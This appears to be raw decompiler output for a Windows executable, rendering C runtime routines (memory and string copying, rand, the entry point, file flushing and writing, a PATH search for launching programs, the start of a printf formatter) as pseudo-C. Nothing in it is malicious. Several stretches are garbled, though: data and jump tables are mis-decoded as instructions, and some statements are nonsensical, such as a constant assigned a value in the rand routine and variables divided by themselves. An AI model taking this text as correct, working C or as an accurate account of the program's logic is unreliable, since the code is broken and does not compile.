edx = ecx;
eax = eax + esi;
if(edi <= esi || edi >= eax) {
if(!(edi & 3)) {
ecx = ecx >> 2;
edx = edx & 3;
if(ecx < 8) {
goto L0040378c;
}
asm("rep movsd");
goto *(edx * 4 + 0x403878)[L00403888, L00403890, L0040389c, L004038b0, ]goto ( *(edx * 4 + 0x403878));
}
eax = edi;
edx = 3;
if(!(ecx = ecx - 4)) {
eax = eax & 3;
ecx = ecx + eax;
goto ( *(eax * 4 + 0x403790));
}
goto ( *(ecx * 4 + 0x403888));
L0040378c:
goto *(ecx * 4 + 0x40380c)[L0040386f, L0040385c, L00403854, L0040384c, L00403844, L0040383c, L00403834, L0040382c, ]goto ( *(ecx * 4 + 0x40380c));
al = *LCC004037;
asm("aaa");
al = eax + 1 + dh;
asm("aaa");
eax = eax + 1;
*ebx = *ebx + ah;
asm("ror dword [edx+0x8a078806],1");
esi = esi + 1;
*(eax + 1183449415) = *(eax + 1183449415) + ecx;
al = al + cl;
goto L0287bfb7;
esi = esi + 3;
edi = edi + 3;
if(ecx < 8) {
goto L0040378c;
}
asm("rep movsd");
goto *(edx * 4 + 0x403878)[L00403888, L00403890, L0040389c, L004038b0, ]goto ( *(edx * 4 + 0x403878));
edx = edx & ecx;
al = *esi;
*edi = al;
al = *(esi + 1);
ecx = ecx >> 2;
*(edi + 1) = al;
esi = esi + 2;
edi = edi + 2;
if(ecx < 8) {
goto L0040378c;
}
asm("rep movsd");
goto *(edx * 4 + 0x403878)[L00403888, L00403890, L0040389c, L004038b0, ]goto ( *(edx * 4 + 0x403878));
edx = edx & ecx;
al = *esi;
*edi = al;
esi = esi + 1;
ecx = ecx >> 2;
edi = edi + 1;
if(ecx < 8) {
goto L0040378c;
}
asm("rep movsd");
goto *(edx * 4 + 0x403878)[L00403888, L00403890, L0040389c, L004038b0, ]goto ( *(edx * 4 + 0x403878));
eax = *(esi + ecx * 4 - 28);
*(edi + ecx * 4 - 28) = eax;
eax = *(esi + ecx * 4 - 24);
*(edi + ecx * 4 - 24) = eax;
eax = *(esi + ecx * 4 - 20);
*(edi + ecx * 4 - 20) = eax;
eax = *(esi + ecx * 4 - 16);
*(edi + ecx * 4 - 16) = eax;
eax = *(esi + ecx * 4 - 12);
*(edi + ecx * 4 - 12) = eax;
eax = *(esi + ecx * 4 - 8);
*(edi + ecx * 4 - 8) = eax;
eax = *(esi + ecx * 4 - 4);
*(edi + ecx * 4 - 4) = eax;
eax = ecx * 4;
esi = esi + eax;
edi = edi + eax;
goto *(edx * 4 + 0x403878)[L00403888, L00403890, L0040389c, L004038b0, ]goto ( *(edx * 4 + 0x403878));
return(A8);
al = *esi;
*edi = al;
esp = ebp;
return(A8);
al = *esi;
*edi = al;
al = *(esi + 1);
*(edi + 1) = al;
esp = ebp;
return(A8);
al = *esi;
*edi = al;
al = *(esi + 1);
*(edi + 1) = al;
al = *(esi + 2);
*(edi + 2) = al;
esp = ebp;
return(A8);
}
esi = ecx + esi - 4;
edi = ecx + edi - 4;
if(!(edi & 3)) {
ecx = ecx >> 2;
edx = edx & 3;
if(ecx >= 8) {
asm("std");
asm("rep movsd");
asm("cld");
goto *(edx * 4 + 0x403a10)[L00403a20, L00403a28, L00403a38, L00403a4c, ]goto ( *(edx * 4 + 0x403a10));
}
L004038f0:
ecx = ~ecx;
goto *(ecx * 4 + 0x4039c0)[L00403a07, ]goto ( *(ecx * 4 + 0x4039c0));
}
eax = edi;
edx = 3;
if(ecx >= 4) {
eax = eax & 3;
ecx = ecx - eax;
goto ( *(eax * 4 + 0x403918));
}
goto *(ecx * 4 + 0x403a10)[L00403a20, L00403a28, L00403a38, L00403a4c, ]goto ( *(ecx * 4 + 0x403a10));
*ecx = *ecx - bh;
eax = eax + 1;
*(eax + 57) = *(eax + 57) + cl;
eax = eax + 1;
*(eax + 57) = *(eax + 57) + dh;
eax = eax + 1;
*(edx + -786234554) = *(edx + -786234554) + cl;
*(edi + 3) = al;
esi = esi - 1;
ecx = ecx >> 2;
edi = edi - 1;
if(ecx < 8) {
goto L004038f0;
}
asm("std");
asm("rep movsd");
asm("cld");
goto *(edx * 4 + 0x403a10)[L00403a20, L00403a28, L00403a38, L00403a4c, ]goto ( *(edx * 4 + 0x403a10));
al = *(esi + 3);
edx = edx & ecx;
*(edi + 3) = al;
al = *(esi + 2);
ecx = ecx >> 2;
*(edi + 2) = al;
esi = esi - 2;
edi = edi - 2;
if(ecx < 8) {
goto L004038f0;
}
asm("std");
asm("rep movsd");
asm("cld");
goto *(edx * 4 + 0x403a10)[L00403a20, L00403a28, L00403a38, L00403a4c, ]goto ( *(edx * 4 + 0x403a10));
al = *(esi + 3);
edx = edx & ecx;
*(edi + 3) = al;
al = *(esi + 2);
*(edi + 2) = al;
al = *(esi + 1);
ecx = ecx >> 2;
*(edi + 1) = al;
esi = esi - 3;
edi = edi - 3;
if(ecx < 8) {
goto L004038f0;
}
asm("std");
asm("rep movsd");
asm("cld");
goto *(edx * 4 + 0x403a10)[L00403a20, L00403a28, L00403a38, L00403a4c, ]goto ( *(edx * 4 + 0x403a10));
asm("les edi,[ecx]");
ah = eax + 1 + cl;
*eax :: eax;
asm("aam 0x39");
ah = eax + 1 + bl;
*eax :: eax;
asm("in al,0x39");
ah = eax + 1 + ch;
*eax :: eax;
asm("hlt");
*eax :: eax;
*(edi + ecx * 4 + 28) = *(esi + ecx * 4 + 28);
*(edi + ecx * 4 + 24) = *(esi + ecx * 4 + 24);
*(edi + ecx * 4 + 20) = *(esi + ecx * 4 + 20);
*(edi + ecx * 4 + 16) = *(esi + ecx * 4 + 16);
*(edi + ecx * 4 + 12) = *(esi + ecx * 4 + 12);
*(edi + ecx * 4 + 8) = *(esi + ecx * 4 + 8);
*(edi + ecx * 4 + 4) = *(esi + ecx * 4 + 4);
eax = ecx * 4;
esi = esi + eax;
edi = edi + eax;
goto *(edx * 4 + 0x403a10)[L00403a20, L00403a28, L00403a38, L00403a4c, ]goto ( *(edx * 4 + 0x403a10));
esp = ebp;
return(A8);
}

stack space not deallocated on return
/* Procedure: 0x00403A27 - 0x00403A34
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403A27()
{

*(edi + 3) = *(esi + 3);
eax = *(ebp + 8);
(restore)esi;
(restore)edi;
esp = ebp;
(restore)ebp;
}

stack space not deallocated on return
/* Procedure: 0x00403A35 - 0x00403A4A
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403A35()
{

*(edi + 3) = *(esi + 3);
*(edi + 2) = *(esi + 2);
eax = *(ebp + 8);
(restore)esi;
(restore)edi;
esp = ebp;
(restore)ebp;
}

stack space not deallocated on return
/* Procedure: 0x00403A4B - 0x00403A64
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403A4B()
{

*(edi + 3) = *(esi + 3);
*(edi + 2) = *(esi + 2);
*(edi + 1) = *(esi + 1);
eax = *(ebp + 8);
(restore)esi;
(restore)edi;
esp = ebp;
(restore)ebp;
}

/* Procedure: 0x00403A65 - 0x00403A6F
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403A65()
{

asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
}

/* Procedure: 0x00403A70 - 0x00403B6D
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L00403A70(A4, A8, Ac)
/* unknown */ void A4;
/* unknown */ void A8;
/* unknown */ void Ac;
{

ecx = Ac;
(save)edi;
if(ecx != 0) {
(save)esi;
(save)ebx;
ebx = ecx;
esi = A8;
edi = A4;
if(!(esi & 3)) {
ecx = ecx >> 2;
!= ? 0x403b01 : ;
} else {
do {
al = *esi;
esi = esi + 1;
*edi = al;
edi = edi + 1;
if(ecx = ecx - 1) {
goto L00403ac2;
}
if(al == 0) {
goto L00403aca;
}
} while(esi & 3);
ebx = ecx;
ecx = ecx >> 2;
!= ? 0x403b01 : ;
L00403ab0:
if(ebx = ebx & 3) {
goto L00403ac2;
}
}
do {
al = *esi;
esi = esi + 1;
*edi = al;
edi = edi + 1;
if(al == 0) {
goto L00403aee;
}
} while(ebx = ebx - 1);
L00403ac2:
(restore)ebx;
(restore)esi;
(restore)edi;
return(A4);
L00403aca:
if(!(edi & 3)) {
do {
*edi = al;
edi = edi + 1;
if(ecx = ecx - 1) {
goto L00403b66;
}
} while(edi & 3);
}
ebx = ecx;
ecx = ecx >> 2;
!= ? 0x403b57 : ;
L00403aeb:
*edi = al;
edi = edi + 1;
L00403aee:
if(ebx = ebx - 1) {
goto L00403aeb;
}
(restore)ebx;
(restore)esi;
}
(restore)edi;
return(A4);
L00403af9:
*edi = edx;
edi = edi + 4;
if(ecx = ecx - 1) {
goto L00403ab0;
}
eax = *esi;
edx = 2130640639 + eax;
eax = eax ^ -1 ^ edx;
edx = *esi;
esi = esi + 4;
if(eax & -2130640640) {
goto L00403af9;
}
if(dl != 0) {
if(dh != 0) {
if(!(edx & 16711680)) {
if(edx & -16777216) {
goto L00403af9;
}
*edi = edx;
} else {
edx = edx & 65535;
*edi = edx;
}
} else {
edx = edx & 255;
*edi = edx;
}
} else {
edx = 0;
*edi = 0;
}
edi = edi + 4;
eax = 0;
if(!(ecx = ecx - 1)) {
eax = 0;
L00403b59:
*edi = eax;
edi = edi + 4;
if(ecx = ecx - 1) {
goto L00403b59;
}
}
if(ebx = ebx & 3) {
goto L00403aeb;
}
L00403b66:
(restore)ebx;
(restore)esi;
(restore)edi;
return(A4);
}

/* Procedure: 0x00403B6E - 0x00403B77
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00403B6E(A4)
/* unknown */ void A4;
{

*L0040C660 = A4;
return(*L0040C660);
}

/* Procedure: 0x00403B78 - 0x00403B95
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403B78()
{

eax = *L0040C660;
214013 = eax * eax;
eax = eax + 2531011;
*L0040C660 = eax;
return(*L0040C660 >> 16 & 32767);
}

stack space not deallocated on return
/* Procedure: 0x00403B96 - 0x00403C69
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

__entry_point__()
{

(save)ebp;
ebp = esp;
(save)-1;
(save)4239616;
(save)0x4060f0;
(save) *%fs:0x0];
*%fs:0x0] = esp;
esp = esp - 16;
(save)ebx;
(save)esi;
(save)edi;
*(ebp - 24) = esp;
edx = *__imp__GetVersion() & 255;
*L0064A80C = edx;
ecx = eax & 255;
*L0064A808 = ecx;
*L0064A804 = ( *L0064A808 << 8) + *L0064A80C;
*L0064A800 = eax >> 16;
if(L00405FBB(0) == 0) {
L00403C9A(28);
}
*(ebp - 4) = 0;
L00405E10();
*L0064BD84 = *__imp__GetCommandLineA();
*L0064A848 = L00405CDE();
L00405A91();
L004059D8();
L00403465();
eax = *L0064A81C;
*L0064A820 = eax;
(save) *L0064A820;
(save) *L0064A814;
(save) *L0064A810;
eax = L00401000();
*(ebp - 28) = eax;
L00403492( *(ebp - 28));
eax = *(ebp - 20);
ecx = *( *eax);
*(ebp - 32) = ecx;
return(L00405854( *(ebp - 32), eax));
}

/* Procedure: 0x00403C6A - 0x00403C74
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403C6A()
{

esp = *(ebp - 24);
L004034A3( *(ebp - 32));
}

/* Procedure: 0x00403C75 - 0x00403C99
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00403C75(A4)
/* unknown */ void A4;
{

if(*L0064A850 != 2) {
L004061C8();
}
L00406201();
return(*L0040c664(255, A4));
}

stack space not deallocated on return
/* Procedure: 0x00403C9A - 0x00403CBD
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00403C9A(A4)
/* unknown */ void A4;
{

if(*L0064A850 != 2) {
L004061C8();
}
L00406201(A4);
return(*__imp__ExitProcess(255));
}

/* Procedure: 0x00403CBE - 0x00403CEC
* Argument size: 4
* Local size: 0
* Save regs size: 4
*/

L00403CBE(A8)
/* unknown */ void A8;
{

if(A8 != 0) {
eax = L00406392(A8);
(save)A8;
if(eax != 0) {
(save)eax;
(restore)ecx;
return(L004063BD());
}
eax = *__imp__HeapFree( *L0064AC40, 0);
}
}

stack space not deallocated on return
/* Procedure: 0x00403CED - 0x00403D9F
* Argument size: 4
* Local size: 0
* Save regs size: 16
*/

L00403CED(A24)
/* unknown */ void A24;
{
/* unknown */ void ebx;
/* unknown */ void ebp;
/* unknown */ void esi;

if(A24 < *L0064AD60) {
eax = A24;
esi = A24;
eax = eax >> 5;
esi = esi & 31;
ebx = eax * 4 + 6597728;
esi = esi << 3;
eax = *ebx;
if(*(eax + esi + 4) & 1) {
goto L00403d87;
}
if(L00407080(A24) != -1) {
if(A24 == 1 || A24 == 2) {
(save)2;
ebp = L00407080();
(restore)ecx;
if(L00407080(1) == ebp) {
goto L00403d66;
}
}
(save)L00407080(A24);
if(*__imp__CloseHandle() != 0) {
goto L00403d66;
}
ebp = *__imp__GetLastError();
} else {
L00403d66:
ebp = 0;
}
L00407006(A24);
*( *ebx + esi + 4) = 0;
if(ebp != 0) {
eax = L00406E93(ebp);
goto L00403d98;
}
eax = 0;
} else {
L00403d87:
*L0064A7F8 = 0;
*L0064A7F4 = 9;
L00403d98:
eax = eax | -1;
}
}

/* Procedure: 0x00403DA0 - 0x00403DCA
* Argument size: 4
* Local size: 0
* Save regs size: 4
*/

L00403DA0(A8)
/* unknown */ void A8;
{

eax = *(A8 + 12);
if(!(al & 131) && !(al & 8)) {
L00403CBE( *(A8 + 8));
*(A8 + 12) = *(A8 + 12) & 64503;
eax = 0;
*A8 = 0;
*(A8 + 8) = 0;
*(A8 + 4) = 0;
}
}

/* Procedure: 0x00403DCB - 0x00403E05
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00403DCB(A4)
/* unknown */ void A4;
{

(save)A4;
if(A4 == 0) {
eax = L00403E6B(A4);
(restore)A4;
return;
}
eax = L00403E06(A4);
if(eax != 0) {
eax = eax | -1;
(restore)A4;
return;
}
if(!( *(A4 + 13) & 64)) {
eax = ~(L004070BD( *(A4 + 16)));
(restore)A4;
asm("sbb eax,eax");
return;
}
(restore)A4;
return(0);
}

/* Procedure: 0x00403E06 - 0x00403E61
* Argument size: 4
* Local size: 0
* Save regs size: 8
*/

L00403E06(Ac)
/* unknown */ void Ac;
{
/* unknown */ void ebx;

ebx = 0;
(save)edi;
if(( *(Ac + 12) & 3) == 2 && !(ax & 264)) {
eax = *(Ac + 8);
edi = *Ac - eax;
if(edi > 0) {
if(L00407114( *(Ac + 16), eax, edi) != edi) {
goto L00403e4c;
}
eax = *(Ac + 12);
if(!(al & 128)) {
*(Ac + 12) = al & 253;
goto L00403e53;
L00403e4c:
*(Ac + 12) = *(Ac + 12) | 32;
ebx = ebx | -1;
}
}
}
L00403e53:
*(Ac + 4) = 0;
*Ac = *(Ac + 8);
(restore)edi;
return(ebx);
}

/* Procedure: 0x00403E62 - 0x00403E6A
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403E62()
{

return(L00403E6B(1));
}

/* Procedure: 0x00403E6B - 0x00403ED7
* Argument size: 4
* Local size: 0
* Save regs size: 12
*/

L00403E6B(A10)
/* unknown */ void A10;
{
/* unknown */ void ebx;
/* unknown */ void esi;
/* unknown */ void edi;

esi = 0;
ebx = 0;
edi = 0;
if(*L0064BD80 > 0) {
do {
eax = *( *L0064AD64 + esi * 4);
if(eax != 0) {
ecx = *(eax + 12);
if(!(cl & 131)) {
if(A10 == 1) {
goto L00403e9d;
}
if(A10 == 0 && !(cl & 2)) {
eax = L00403DCB(eax);
if(eax == -1) {
edi = edi | eax;
goto L00403ec0;
L00403e9d:
if(L00403DCB(eax) != -1) {
ebx = ebx + 1;
}
}
}
}
}
L00403ec0:
esi = esi + 1;
} while(esi < *L0064BD80);
}
eax = ebx;
if(A10 != 1) {
eax = edi;
}
}

/* Procedure: 0x00403ED8 - 0x00403F64
* Argument size: 4
* Local size: 0
* Save regs size: 4
*/

L00403ED8(A8)
/* unknown */ void A8;
{

if(L00407335( *(A8 + 16)) != 0) {
if(A8 == 0x40c6a8) {
eax = 0;
goto L00403f01;
}
if(A8 == 0x40c6c8) {
eax = 1;
L00403f01:
*L0064A85C = *L0064A85C + 1;
if(!( *(A8 + 12) & 268)) {
*(eax * 4 + 6596692) :: 0;
(save)ebx;
(save)edi;
ebx = 4096;
if(!(edi = eax * 4 + 6596692)) {
eax = L004072C1(4096);
*edi = eax;
if(eax != 0) {
goto L00403f47;
}
eax = A8 + 20;
(save)2;
*(A8 + 8) = eax;
*A8 = *(A8 + 8);
(restore)eax;
*(A8 + 24) = eax;
*(A8 + 4) = eax;
} else {
L00403f47:
edi = *edi;
*(A8 + 24) = ebx;
*(A8 + 8) = edi;
*A8 = *(A8 + 8);
*(A8 + 4) = ebx;
}
*(A8 + 12) = *(A8 + 12) | 4354;
(restore)edi;
(restore)ebx;
return(1);
}
}
}
return(0);
}

/* Procedure: 0x00403F65 - 0x00403FA1
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00403F65(A4, A8)
/* unknown */ void A4;
/* unknown */ void A8;
{

(save)esi;
if(A4 != 0) {
esi = A8;
if(*(esi + 13) & 16) {
goto L00403fa0;
}
eax = L00403E06(esi);
*(esi + 13) = *(esi + 13) & 238;
*(esi + 24) = 0;
*esi = 0;
*(esi + 8) = 0;
(restore)esi;
return;
}
eax = A8;
if(!( *(eax + 13) & 16)) {
eax = L00403E06(eax);
}
L00403fa0:
(restore)esi;
}

/* Procedure: 0x00403FA2 - 0x004040AB
* Argument size: 16
* Local size: 0
* Save regs size: 0
*/

L00403FA2(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{

(save)ecx;
(save)ebx;
(save)esi;
(save)edi;
edi = Ac;
A10 = A10 * edi;
*(ebp - 4) = edi;
0;
ebx = edi;
if(edi == 0) {
eax = 0;
} else {
esi = A14;
A14 = !( *(esi + 12) & 268) ? *(esi + 24) : 4096;
do {
if(!(ecx = *(esi + 12) & 264)) {
eax = *(esi + 4);
if(eax != 0) {
goto L00403ff2;
}
}
if(ebx < A14) {
(save)esi;
(restore)ecx;
if(L0040446A( *A8) == -1) {
goto L004040a1;
}
A8 = A8 + 1;
eax = *(esi + 24);
ebx = ebx - 1;
A14 = eax;
if(eax <= 0) {
A14 = 1;
}
} else {
if(ecx != 0 && L00403E06(esi) != 0) {
goto L004040a1;
}
if(A14 == 0) {
edi = ebx;
} else {
eax = ebx;
edx = 0;
A14 = A14 / A14;
edi = ebx - A14 % A14;
}
eax = L00407114( *(esi + 16), A8, edi);
if(eax == -1) {
goto L00404098;
}
A8 = A8 + eax;
ebx = ebx - eax;
if(eax < edi) {
goto L00404098;
} else {
goto L0040405a;
}
L00403ff2:
edi = ebx;
if(ebx >= eax) {
edi = eax;
}
L00407360( *esi, A8, edi);
*(esi + 4) = *(esi + 4) - edi;
*esi = *esi + edi;
ebx = ebx - edi;
A8 = A8 + edi;
L0040405a:
edi = *(ebp - 4);
}
} while(ebx != 0);
eax = A10;
}
L00404093:
(restore)edi;
(restore)esi;
(restore)ebx;
return;
L00404098:
*(esi + 12) = *(esi + 12) | 32;
eax = *(ebp - 4);
goto L004040a3;
L004040a1:
eax = edi;
L004040a3:
eax = eax - ebx;
edx = 0;
Ac = Ac / Ac;
edx = Ac % Ac;
goto L00404093;
}

/* Procedure: 0x004040AC - 0x0040420E
* Argument size: 16
* Local size: 0
* Save regs size: 0
*/

L004040AC(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{

(save)ecx;
(save)ecx;
(save)esi;
(save)edi;
eax = L0040420F(A8, Ac, A10, A14);
*(ebp - 8) = eax;
if(eax == -1 && *L0064A7F4 == 2) {
(save)47;
(restore)ecx;
if(L00407769(Ac) == 0) {
edi = L004043ED(4239632);
if(edi != 0) {
esi = L004072C1(260);
if(esi != 0) {
(save)ebx;
ebx = 259;
(save)259;
(save)esi;
for((save)edi; 1; (save) *(ebp - 4)) {
eax = L004076F5();
esp = esp + 12;
*(ebp - 4) = eax;
if(*(ebp - 4) == 0 || *esi == 0) {
break;
}
edi = L004035D0(esi) + esi - 1;
al = *edi;
if(al != 92) {
} else {
(save)92;
edi :: L00407695(esi);
(restore)ecx;
}
if(al != 47) {
L00403250(esi, 4239628);
}
edi = L004035D0(esi);
(restore)ecx;
if(edi + L004035D0(Ac) >= 260) {
break;
}
L00403250(esi, Ac);
(save)A14;
(save)A10;
(save)esi;
(save)A8;
eax = L0040420F();
esp = esp + 24;
*(ebp - 8) = eax;
if(eax != -1) {
break;
}
if(*L0064A7F4 != 2) {
(save)92;
(restore)ecx;
if(esi != L00407769(esi)) {
(save)47;
(restore)ecx;
if(esi != L00407769(esi)) {
break;
}
}
edi = esi + 1;
(save)92;
(restore)ecx;
if(edi != L00407769(edi)) {
(save)47;
(restore)ecx;
if(edi != L00407769(edi)) {
break;
}
}
}
(save)ebx;
(save)esi;
}
L00403CBE(esi);
(restore)ebx;
}
}
}
}
eax = *(ebp - 8);
(restore)edi;
(restore)esi;
}

/* Procedure: 0x0040420F - 0x00404357
* Argument size: 16
* Local size: 0
* Save regs size: 0
*/

L0040420F(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{

(save)ecx;
(save)ecx;
(save)ebx;
ebx = Ac;
(save)esi;
(save)edi;
edi = ebx;
esi = L00407695();
eax = L00407695(ebx, 47, ebx, 92);
if(eax == 0) {
if(esi == 0) {
(save)58;
esi = L00407769(ebx);
(restore)ecx;
if(esi == 0) {
eax = L004072C1(L004035D0(ebx) + 3);
edi = eax;
(restore)ecx;
if(edi == 0) {
goto L004042dd;
}
(save)4239672;
L00403240(edi);
L00403250(edi, ebx);
esi = edi + 2;
}
}
} else {
if(esi == 0) {
goto L00404282;
}
if(eax > esi) {
L00404282:
esi = eax;
}
}
*(ebp - 8) = *(ebp - 8) | -1;
(save)46;
(restore)ecx;
if(L00407695(esi) != 0) {
(save)0;
(restore)ecx;
if(L004043A9(edi) != -1) {
*(ebp - 8) = L00404358(A8, edi, A10, A14);
}
} else {
eax = L004072C1(L004035D0(edi) + 5);
ebx = eax;
(restore)ecx;
*(ebp - 4) = ebx;
if(ebx == 0) {
L004042dd:
eax = eax | -1;
goto L00404353;
}
(save)edi;
L00403240(ebx);
esi = L004035D0(edi) + ebx;
ebx = 0x40c678;
do {
(save) *ebx;
L00403240(esi);
(save)0;
(save) *(ebp - 4);
esp = esp + 16;
if(L004043A9() != -1) {
goto L00404322;
}
ebx = ebx - 4;
} while(ebx >= 0x40c66c);
goto L00404339;
L00404322:
*(ebp - 8) = L00404358(A8, *(ebp - 4), A10, A14);
L00404339:
L00403CBE( *(ebp - 4));
ebx = Ac;
}
if(edi != ebx) {
L00403CBE(edi);
}
eax = *(ebp - 8);
L00404353:
(restore)edi;
(restore)esi;
(restore)ebx;
}

/* Procedure: 0x00404358 - 0x004043A8
* Argument size: 16
* Local size: 0
* Save regs size: 0
*/

L00404358(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{

eax = L004079BB(A10, A14, & A14, & A10, Ac);
if(eax == -1) {
eax :: 0;
return;
}
(save)esi;
(save)A10;
(save)A14;
(save)Ac;
(save)A8;
esi = L004077DC();
L00403CBE(A14);
L00403CBE(A10);
eax = esi;
(restore)esi;
}

stack space not deallocated on return
/* Procedure: 0x004043A9 - 0x004043EC
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L004043A9(A4, A8)
/* unknown */ void A4;
/* unknown */ void A8;
{

(save)A4;
eax = *__imp__GetFileAttributesA();
if(eax == -1) {
eax = L00406E93( *__imp__GetLastError());
L004043c5:
return(eax | -1);
}
if(!(al & 1) && !(A8 & 2)) {
*L0064A7F4 = 13;
*L0064A7F8 = 5;
goto L004043c5;
}
return(0);
}

/* Procedure: 0x004043ED - 0x00404469
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L004043ED(A4)
/* unknown */ void A4;
{

(save)A4;
(save)esi;
esi = *L0064A81C;
(save)edi;
if(*L0064BD88 != 0) {
if(esi == 0) {
if(*L0064A824 == esi || L00407BFE() != 0) {
goto L00404464;
}
esi = *L0064A81C;
if(esi == 0) {
goto L00404464;
}
}
if(A4 == 0) {
goto L00404464;
}
for(edi = L004035D0(A4); 1; esi = esi + 4) {
eax = *esi;
if(eax == 0) {
goto L00404464;
}
if(L004035D0(eax) > edi) {
eax = *esi;
if(*(eax + edi) == 61 && L00407BBF(eax, A4, edi) == 0) {
break;
}
}
}
eax = *esi + edi + 1;
} else {
L00404464:
eax = 0;
}
(restore)edi;
(restore)esi;
(restore)A4;
}

/* Procedure: 0x0040446A - 0x0040457E
* Argument size: 8
* Local size: 0
* Save regs size: 8
*/

L0040446A(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{
/* unknown */ void ebx;
/* unknown */ void esi;

esi = Ac;
eax = *(esi + 12);
ebx = *(esi + 16);
if(!(al & 130)) {
if(al & 64) {
goto L00404573;
}
if(!(al & 1)) {
*(esi + 4) = 0;
if(al & 16) {
goto L00404573;
}
ecx = *(esi + 8);
*esi = ecx;
*(esi + 12) = al & 254;
}
*(esi + 4) = 0;
Ac = 0;
( *(esi + 12) & 239 | 2) & 268;
if(!( *(esi + 12) = *(esi + 12) & 239 | 2)) {
if(esi != 0x40c6a8 && esi != 0x40c6c8) {
goto L004044d5;
}
if(L00407335(ebx) == 0) {
L004044d5:
L00407C6C(esi);
}
}
(save)edi;
if(!( *(esi + 12) & 264)) {
eax = *(esi + 8);
edi = *esi - eax;
*esi = eax + 1;
edi :: 0;
if(!( *(esi + 4) = *(esi + 24) - 1)) {
Ac = L00407114(ebx, eax, edi);
} else {
if(ebx != -1) {
eax = ebx;
ecx = ebx;
eax = eax >> 5;
ecx = ecx & 31;
eax = *(eax * 4 + 6597728) + ecx * 8;
} else {
eax = 0x40cbc8;
}
if(!( *(eax + 4) & 32)) {
L00404E62(ebx, 0, 2);
}
}
eax = *(esi + 8);
*eax = A8;
} else {
(save)1;
(restore)edi;
eax = L00407114(ebx, & A8, edi);
Ac = eax;
}
(restore)edi;
if(Ac != edi) {
*(esi + 12) = *(esi + 12) | 32;
goto L00404578;
}
eax = A8 & 255;
} else {
L00404573:
al = al | 32;
*(esi + 12) = eax;
L00404578:
eax = eax | -1;
}
}

/* Procedure: 0x0040457F - 0x00404C9F
* Argument size: 12
* Local size: 584
* Save regs size: 12
*/

L0040457F(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{
/* unknown */ void ebx;
/* unknown */ void esi;
/* unknown */ void edi;
/* unknown */ void Vfffffdb8;
/* unknown */ void Vfffffdb9;
/* unknown */ void Vffffffb7;
/* unknown */ void Vffffffb8;
/* unknown */ void Vffffffbc;
/* unknown */ void Vffffffc0;
/* unknown */ void Vffffffc4;
/* unknown */ void Vffffffc8;
/* unknown */ void Vffffffcc;
/* unknown */ void Vffffffd0;
/* unknown */ void Vffffffd4;
/* unknown */ void Vffffffd8;
/* unknown */ void Vffffffdc;
/* unknown */ void Vffffffe0;
/* unknown */ void Vffffffe4;
/* unknown */ void Vffffffea;
/* unknown */ void Vffffffeb;
/* unknown */ void Vffffffec;
/* unknown */ void Vfffffff0;
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vfffffffc;
/* unknown */ void Vfffffffd;

edi = Ac;
esi = 0;
bl = *edi;
bl :: 0;
Vfffffff4 = 0;
Vffffffec = 0;
if(!(Ac = edi + 1)) {
ecx = Vfffffff0;
for(edx = 0; 1; edx = 0) {
if(Vffffffec < edx) {
goto L00404c98;
}
if(bl < 32 || bl > 120) {
eax = 0;
} else {
eax = bl;
eax = *(eax + 4239644) & 15;
}
eax = *(esi + eax * 8 + 4239676) >> 4;
Vffffffd0 = eax;
if(eax <= 7) {
goto *(eax * 4 + 0x404ca0)[L0040471e, L004045f4, L0040460f, L0040465b, L00404692, L0040469a, L004046cf, L00404762, ]goto ( *(eax * 4 + 0x404ca0));
Vfffffff0 = Vfffffff0 | -1;
Vffffffcc = edx;
Vffffffd8 = edx;
Vffffffe0 = edx;
Vffffffe4 = edx;
Vfffffffc = edx;
Vffffffdc = edx;
}
L00404c87:
edi = Ac;
bl = *edi;
bl :: 0;
if(!(Ac = edi + 1)) {
goto L00404c98;
}
ecx = Vfffffff0;
esi = Vffffffd0;
}
if(!(eax = bl - 32)) {
if(!(eax = eax - 3)) {
if(!(eax = eax - 8)) {
if(!(eax = eax - 1 - 1)) {
if(eax = eax - 3) {
goto L00404c87;
}
Vfffffffc = Vfffffffc | 8;
goto L00404c87;
}
Vfffffffc = Vfffffffc | 4;
goto L00404c87;
}
Vfffffffc = Vfffffffc | 1;
goto L00404c87;
}
Vfffffffc = Vfffffffc | 128;
goto L00404c87;
}
Vfffffffc = Vfffffffc | 2;
goto L00404c87;
if(bl == 42) {
eax = L00404D5E( & A10);
Vffffffe0 = eax;
if(eax >= 0) {
goto L00404c87;
}
Vfffffffc = Vfffffffc | 4;
eax = ~eax;
L0040467b:
Vffffffe0 = eax;
goto L00404c87;
}
ecx = bl;
eax = ecx + (Vffffffe0 + Vffffffe0 * 4) * 2 - 48;
goto L0040467b;
Vfffffff0 = edx;
goto L00404c87;
if(bl == 42) {
eax = L00404D5E( & A10);
Vfffffff0 = eax;
if(eax >= 0) {
goto L00404c87;
}
Vfffffff0 = Vfffffff0 | -1;
goto L00404c87;
}
eax = ecx + ecx * 4;
